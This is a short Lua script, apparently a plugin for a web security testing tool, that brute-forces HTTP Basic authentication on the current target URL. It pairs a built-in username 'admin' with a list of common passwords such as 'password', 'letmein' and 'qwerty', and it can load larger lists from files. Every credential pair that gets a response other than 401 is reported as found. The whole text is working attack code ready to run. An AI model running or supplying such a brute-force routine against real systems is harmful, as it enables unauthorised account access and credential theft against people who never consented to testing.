userlist = 'admin' passlist = '123\npassword\nletmein\n123456\nqwerty' --uncomment this if you want to load the lists from external files --userlist = file_gettostr(ProgDir..'Scripts//username.lst') --passlist = file_gettostr(ProgDir..'Scripts//password.lst') tab:viewheaders() tab:clearlog() http = GHTTPRequest:new() http.serverauth = 'Basic' u = GStrListParser:new() u:loadfromstr(userlist) p = GStrListParser:new() p:loadfromstr(passlist) tab:log('Executing HTTP brute force.') tab:log('Target URL: '..tab.url..'...') while u:parsing() do http.username = u.current p:reset() while p:parsing() do http.password = p.current http:open('GET',tab.url) tab:logrequest('Auth Force Request',http.contentlength,http:sentheader(),http:rcvdheader(),http.text) app.processmessages() if http.statuscode ~= 401 then msg = 'Found: '..u.current..':'..p.current app.showmessage(msg) tab:log(msg) p:stop() end end end tab:log('Done.') u:release() p:release() http:release()